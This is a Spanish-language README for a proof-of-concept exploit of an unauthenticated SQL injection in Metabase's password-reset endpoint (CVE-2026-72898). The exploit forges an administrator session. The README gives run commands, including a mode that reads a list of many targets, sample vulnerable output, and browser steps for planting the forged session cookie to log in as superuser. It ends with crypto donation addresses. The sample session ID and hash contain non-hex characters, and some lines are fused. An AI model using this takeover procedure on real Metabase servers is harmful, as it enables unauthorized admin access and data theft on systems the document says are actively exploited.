
PoC de CVE-2026-72898 : Inyección SQL no autenticada en Metabase
Inyección SQL previa a la autenticación en Metabase que conduce a la toma de control del administrador
Prueba de concepto para CVE-2026-72898, una inyección SQL crítica no autenticada en el endpoint de restablecimiento de contraseña de Metabase. El PoC inyecta una fila de sesión de administrador falsificada en la tabla core_session y luego la utiliza para validar una sesión completa de administrador sin necesidad de credenciales.
Nota: Este PoC es solo para pruebas de seguridad autorizadas e investigación. CVE-2026-72898 está listado en el catálogo de vulnerabilidades explotadas conocidas (KEV) de CISA y está siendo explotado activamente en la naturaleza. Usted es responsable de cumplir con todas las leyes aplicables y de obtener autorización escrita antes de probar cualquier sistema.
requestsInstalar dependencias:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
| Argumento | Descripción | Por defecto |
|---|---|---|
-t, --target | URL de un solo objetivo | - |
-T, --targets | Archivo con URLs de objetivos, una por línea | - |
-o, --output | Archivo de resultados (separado por tabulaciones: objetivo, resultado, estado, session_id, admin_email) | - |
--timeout | Tiempo de espera de la solicitud en segundos | 15 |
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
Un 400 en el paso 2 con Invalid reset token es esperado — significa que el payload de SQLi se ejecutó y la respuesta se interrumpió. Que el paso 3 devuelva 200 en /api/user/current confirma que la sesión falsificada es válida.
Estados del resultado: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase lee su sesión de la cookie `metabase.SESSION`, por lo que puede iniciar sesión en la interfaz web como el administrador falsificado añadiendo esa cookie:
**Google Chrome / Edge / Chromium**
1. Ejecute el PoC y copie el `session id` impreso
2. Abra `http://TARGET/` y pulse `F12` (DevTools)
3. Vaya a **Application** (en Edge: **Application**; en Chrome: **Application**) → **Storage** → **Cookies** → seleccione el host objetivo
4. Haga clic en el botón **+** (Añadir cookie) y rellene:
- **Name**: `metabase.SESSION`
- **Value**: `<SESSION_ID>` (el valor impreso por el PoC)
- **Domain**: el host/IP objetivo (p. ej. `192.168.1.1` o `.example.com`)
- **Path**: `/`
- Establezca una expiración lejana en el futuro (o haga clic en "Session")
5. Haga clic en **Save** y, a continuación, actualice la página
6. Ahora está autenticado como superusuario — el icono de engranaje de administrador será visible
**Firefox**
1. Ejecute el PoC y copie el `session id` impreso
2. Pulse `F12` → pestaña **Storage** → **Cookies** → seleccione el host objetivo
3. Botón derecho → **Add/Edit Cookie** y añada:
- **Name**: `metabase.SESSION`
- **Value**: `<SESSION_ID>`
- **Path**: `/`
- **HttpOnly**: desmarcado (JS lo establece)
- **Secure**: desmarcado para HTTP simple
4. Guarde y actualice la página
**Alternativa: extensión de edición de cookies**
Utilice cualquier extensión de edición de cookies (p. ej. Cookie-Editor) para añadir la cookie `metabase.SESSION` con el valor falsificado en el dominio objetivo y, a continuación, actualice.
**Desde la consola del navegador**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password en la capa de red/WAFSi este proyecto le ha ayudado, considere apoyar su desarrollo:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
